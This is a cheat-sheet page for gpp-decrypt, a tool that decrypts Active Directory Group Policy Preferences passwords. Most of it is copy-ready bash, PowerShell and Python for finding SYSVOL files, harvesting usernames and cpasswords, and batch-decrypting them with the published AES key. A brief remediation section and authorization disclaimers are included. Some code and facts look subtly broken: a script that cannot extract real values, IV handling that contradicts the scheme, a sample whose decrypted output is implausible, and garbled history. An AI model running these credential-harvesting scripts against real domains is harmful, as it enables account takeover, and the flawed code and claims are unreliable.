gpp-decrypt
Overview
Sección titulada «Overview»gpp-decrypt is a tool for decrypting credentials stored in Group Policy Preferences (GPP). Microsoft published the AES encryption key used for GPP passwords, making historically stored credentials in Groups.xml files vulnerable to decryption. This tool is used in authorized penetration testing to identify weak credential management practices in Active Directory environments.
IMPORTANT: Only use gpp-decrypt on systems and networks you own or have explicit written authorization to test.
Background: Group Policy Preferences Vulnerability
Sección titulada «Background: Group Policy Preferences Vulnerability»History
Sección titulada «History»- Microsoft released the AES decryption key for GPP in MS14-025 (May 2014)
- Prior versions of Windows Server automatically decrypted GPP passwords
- Credentials stored in GPP are now considered compromised if older domain controllers are in use
Affected Versions
Sección titulada «Affected Versions»- Windows Server 2003, 2008, 2008 R2, 2012 (pre-patch)
- Windows 7, 8, Vista, XP (pre-patch)
Installation
Sección titulada «Installation»Prerequisites
Sección titulada «Prerequisites»# Kali Linux (pre-installed in many versions)
which gpp-decrypt
# Ubuntu/Debian
sudo apt-get update
sudo apt-get install gpp-decrypt
# Or build from source
git clone https://github.com/kunal94/gpp-decrypt.git
cd gpp-decrypt
gcc gpp-decrypt.c -o gpp-decrypt -lcrypto
Verify Installation
Sección titulada «Verify Installation»gpp-decrypt
# or
python3 gpp-decrypt.py --help
Basic Syntax
Sección titulada «Basic Syntax»# C version
gpp-decrypt <cpassword_hash>
# Python version
python3 gpp-decrypt.py <cpassword_hash>
Understanding cpassword Format
Sección titulada «Understanding cpassword Format»Where cpassword is Found
Sección titulada «Where cpassword is Found»cpassword values are stored in Group Policy XML files:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\<SECTION>.xml
Common locations:
Groups.xml— Local Groups, Group MembersServices.xml— ServicesScheduledTasks.xml— Scheduled TasksDataSources.xml— Data SourcesDrives.xml— Drive MappingsPrinters.xml— Printer Connections
Example XML Structure
Sección titulada «Example XML Structure»<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
<User
clsid="{3243D8A5-6FA8-43F5-84F4-3B9569C3D85E}"
name="Administrator"
image="0"
changeLogon="0"
noChange="0"
neverExpires="1"
disabled="0"
userName="DOMAIN\Administrator"
cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA=="
cpasswordEncrypted="0"
expires="0"
chatFlag="0"
removePolicy="0"
uid="{12345678-1234-1234-1234-123456789012}"
pwdLastSet="131234567890"
gPCUserExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{3060E8CE-7020-11D2-842D-00C04FA372D4}]"
/>
</Groups>
Quick Start Examples
Sección titulada «Quick Start Examples»Decrypt a Single cpassword
Sección titulada «Decrypt a Single cpassword»# Decrypt known cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='
# Expected output
Decrypted password: MyP@ssw0rd!
Decrypt from XML File
Sección titulada «Decrypt from XML File»# Extract and decrypt from Groups.xml
grep -oP 'cpassword="\K[^"]+' Groups.xml | xargs -I {} gpp-decrypt '{}'
# Decrypt all instances in file
for pwd in $(grep -oP 'cpassword="\K[^"]+' Groups.xml); do
echo "Found cpassword: $pwd"
gpp-decrypt "$pwd"
done
Extracting cpassword from SYSVOL
Sección titulada «Extracting cpassword from SYSVOL»Access SYSVOL
Sección titulada «Access SYSVOL»# Mount SYSVOL share if accessible
mount -t cifs //domain.com/sysvol /mnt/sysvol \
-o username=user,password=pass,domain=DOMAIN
# Or via SMB
smbclient //domain.com/sysvol -U DOMAIN\\user
# List policies
ls -R /mnt/sysvol/domain.com/Policies/
Find Groups.xml Files
Sección titulada «Find Groups.xml Files»# Search for vulnerable XML files
find /mnt/sysvol -name "*.xml" -path "*/Preferences/*"
# Search specifically for Groups.xml
find /mnt/sysvol -name "Groups.xml"
# Search for any XML with cpassword
find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
Extract All cpasswords
Sección titulada «Extract All cpasswords»#!/bin/bash
# Extract all cpasswords from SYSVOL
SYSVOL_PATH="/mnt/sysvol"
output_file="decrypted_passwords.txt"
echo "[*] Searching for cpasswords in SYSVOL..."
> $output_file
for xml_file in $(find $SYSVOL_PATH -name "*.xml" -exec grep -l "cpassword" {} \;); do
echo "[+] Found: $xml_file"
# Extract cpassword values
grep -oP 'cpassword="\K[^"]+' "$xml_file" | while read cpass; do
echo "[*] Attempting to decrypt: $cpass"
decrypted=$(gpp-decrypt "$cpass" 2>/dev/null)
if [ $? -eq 0 ]; then
echo "[+] Decrypted: $decrypted" | tee -a $output_file
fi
done
done
echo "[*] Results saved to $output_file"
Using PowerShell to Extract GPP Credentials
Sección titulada «Using PowerShell to Extract GPP Credentials»PowerShell Method 1: Direct Extraction
Sección titulada «PowerShell Method 1: Direct Extraction»# Find and decrypt Group Policy Preferences from SYSVOL
$SysVolPath = "\\$env:USERDOMAIN\sysvol\$env:USERDOMAIN\policies"
$XmlFiles = Get-ChildItem -Path $SysVolPath -Include *.xml -Recurse
foreach ($XmlFile in $XmlFiles) {
[xml]$XmlContent = Get-Content $XmlFile
# Check for cpassword attribute
if ($XmlContent.SelectNodes("//*[@cpassword]")) {
$cpassword = $XmlContent.SelectNodes("//*[@cpassword]").cpassword
Write-Host "Found cpassword in $($XmlFile.FullName): $cpassword"
}
}
PowerShell Method 2: Get-GPPPassword (Third-party module)
Sección titulada «PowerShell Method 2: Get-GPPPassword (Third-party module)»# If Get-GPPPassword module is available
Get-GPPPassword
# Or the improved Get-DomainGPPPassword from PowerView
Get-DomainGPPPassword
Batch Decryption Script
Sección titulada «Batch Decryption Script»#!/bin/bash
# Batch decrypt cpasswords from multiple sources
# Input file with one cpassword per line
INPUT_FILE="cpasswords.txt"
OUTPUT_FILE="decrypted.txt"
if [ ! -f "$INPUT_FILE" ]; then
echo "Error: $INPUT_FILE not found"
exit 1
fi
> $OUTPUT_FILE
count=0
while IFS= read -r cpassword; do
echo "[*] Decrypting: $cpassword"
result=$(gpp-decrypt "$cpassword" 2>/dev/null)
if [ $? -eq 0 ]; then
echo "$cpassword => $result" >> $OUTPUT_FILE
echo "[+] Success: $result"
((count++))
else
echo "[!] Failed to decrypt: $cpassword" >> $OUTPUT_FILE
echo "[!] Failed: $cpassword"
fi
done < "$INPUT_FILE"
echo "[+] Decrypted $count passwords"
echo "[+] Results saved to $OUTPUT_FILE"
Advanced Exploitation Scenarios
Sección titulada «Advanced Exploitation Scenarios»Scenario 1: Post-Exploitation Credential Harvesting
Sección titulada «Scenario 1: Post-Exploitation Credential Harvesting»# After gaining domain admin or system access
# Copy SYSVOL locally
mkdir -p /tmp/sysvol_copy
cp -r /mnt/sysvol /tmp/sysvol_copy
# Search for all credentials
echo "[*] Extracting all Group Policy credentials..."
grep -r "cpassword" /tmp/sysvol_copy/*/Policies/*/Machine/Preferences/*.xml | \
grep -oP 'cpassword="\K[^"]+' | \
sort -u > /tmp/cpasswords.txt
# Decrypt all
while read cpass; do
gpp-decrypt "$cpass"
done < /tmp/cpasswords.txt > /tmp/credentials_decrypted.txt
# Analyze results
cat /tmp/credentials_decrypted.txt
Scenario 2: Domain Reconnaissance
Sección titulada «Scenario 2: Domain Reconnaissance»#!/bin/bash
# Reconnaissance against accessible domain
domain="example.com"
# List accessible policies
echo "[*] Checking accessible policies..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" -c "ls" 2>/dev/null | \
grep "Policies"
# Enumerate and download Groups.xml
echo "[*] Downloading Groups.xml files..."
smbclient "//domain.com/sysvol" -U "DOMAIN\user%password" \
-c "prompt OFF; mget Policies/*/Machine/Preferences/Groups.xml" \
2>/dev/null
# Find and decrypt credentials
echo "[*] Extracting credentials..."
find . -name "Groups.xml" -exec grep -Ho "cpassword" {} \; | \
cut -d'"' -f2 | \
while read cpass; do
echo "Domain: $domain"
echo "cpassword: $cpass"
gpp-decrypt "$cpass"
echo "---"
done
Analyzing Decrypted Credentials
Sección titulada «Analyzing Decrypted Credentials»Extract Usernames and Passwords
Sección titulada «Extract Usernames and Passwords»#!/bin/bash
# Extract and organize decrypted credentials
sysvol_path="/mnt/sysvol"
creds_file="credentials_found.txt"
> $creds_file
# Process each XML file with cpassword
for xml in $(find $sysvol_path -name "*.xml" -exec grep -l "cpassword" {} \;); do
# Extract username and cpassword
grep -oP 'userName="\K[^"]+|cpassword="\K[^"]+' "$xml" | \
paste - - | while read username cpass; do
# Decrypt
password=$(gpp-decrypt "$cpass" 2>/dev/null)
if [ $? -eq 0 ]; then
# Store in organized format
echo "Username: $username" >> $creds_file
echo "Password: $password" >> $creds_file
echo "Source: $xml" >> $creds_file
echo "---" >> $creds_file
fi
done
done
# Display summary
echo "[+] Credentials found:"
grep "^Username:" $creds_file | wc -l
Creating Test Cases
Sección titulada «Creating Test Cases»Generate Test cpassword Values
Sección titulada «Generate Test cpassword Values»# Using the known AES key
# The key is: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
# Create test environment
mkdir -p test_gpp
cat > test_gpp/Groups.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Groups version="1">
<User name="TestUser" userName="DOMAIN\TestUser"
cpassword="2bQwj3SU5gHs83+CVtgyQAAAAA==" />
</Groups>
EOF
# Test decryption
gpp-decrypt "2bQwj3SU5gHs83+CVtgyQAAAAA=="
Defenses and Detection
Sección titulada «Defenses and Detection»Detecting GPP Exploitation Attempts
Sección titulada «Detecting GPP Exploitation Attempts»# Look for SYSVOL access in audit logs
# Check for repeated access to Policies folder
# Monitor for gpp-decrypt tool usage
ps aux | grep -i "gpp\|sysvol"
# Check recent file access
find /mnt/sysvol -name "*.xml" -mtime -1
Remediation
Sección titulada «Remediation»# 1. Remove cpasswords from GPP
# 2. Apply MS14-025 patch to all domain controllers
# 3. Delete active GPP files containing sensitive credentials
# 4. Use LAPS (Local Admin Password Solution) instead of GPP
# for local admin password management
# 5. Implement IRM (Information Rights Management) for SYSVOL
Troubleshooting
Sección titulada «Troubleshooting»Common Issues
Sección titulada «Common Issues»| Problem | Solution |
|---|---|
| ”Cannot find module” | Install gpp-decrypt: apt-get install gpp-decrypt |
| Decryption fails | Ensure cpassword format is correct (Base64 encoded) |
| Permission denied on SYSVOL | Need domain credentials with SYSVOL read access |
| No cpassword found | Check file paths, may require system access |
Debugging
Sección titulada «Debugging»# Test with known working cpassword
gpp-decrypt '2bQwj3SU5gHs83+CVtgyQAAAAA=='
# Check if tool is working
which gpp-decrypt
gpp-decrypt -h 2>&1 || gpp-decrypt --help 2>&1
# Verify file access
ls -la /mnt/sysvol/
# Check for XML files
find . -name "*.xml" -type f 2>/dev/null
Advanced: Understanding the Encryption
Sección titulada «Advanced: Understanding the Encryption»AES Decryption Process
Sección titulada «AES Decryption Process»#!/usr/bin/env python3
# Manual AES decryption of cpassword
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Known key (from MS14-025)
key = bytes.fromhex(
'4e9906e8fcb66cc9faf49310620ffee8'
'f496e806cc057990209b09a433b66c1b'
)
# IV for AES-CBC (first 16 bytes are IV, rest is ciphertext)
cpassword_b64 = '2bQwj3SU5gHs83+CVtgyQAAAAA=='
cpassword_bytes = base64.b64decode(cpassword_b64)
# Extract IV and ciphertext
iv = cpassword_bytes[:16]
ciphertext = cpassword_bytes[16:]
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
# Convert from UTF-16LE to UTF-8
password = plaintext.decode('utf-16le')
print(f"Decrypted: {password}")
Legal and Ethical Considerations
Sección titulada «Legal and Ethical Considerations»Authorization Required
Sección titulada «Authorization Required»- Only test systems you own or have explicit written authorization
- Document all findings and maintain chain of custody
- Report vulnerabilities responsibly to system administrators
- Do not use credentials without authorization
- Follow responsible disclosure practices
Reporting Findings
Sección titulada «Reporting Findings»When reporting GPP credential exposure:
- Identify all affected domain controllers
- List decrypted credentials discovered
- Recommend immediate remediation
- Suggest long-term solution (LAPS)
- Provide guidance on detection methods
Alternative and Related Tools
Sección titulada «Alternative and Related Tools»| Tool | Purpose |
|---|---|
| Metasploit | Post-exploitation framework with GPP module |
| PowerView | PowerShell Active Directory enum |
| Get-GPPPassword | PowerShell GPP extraction |
| Mimikatz | Credential extraction tool |
Resources
Sección titulada «Resources»- GitHub gpp-decrypt: https://github.com/kunal94/gpp-decrypt
- Microsoft MS14-025: https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025
- LAPS Documentation: https://docs.microsoft.com/en-us/windows-server/identity/laps/laps-overview
- OWASP: https://owasp.org/www-community/attacks/Credential_stuffing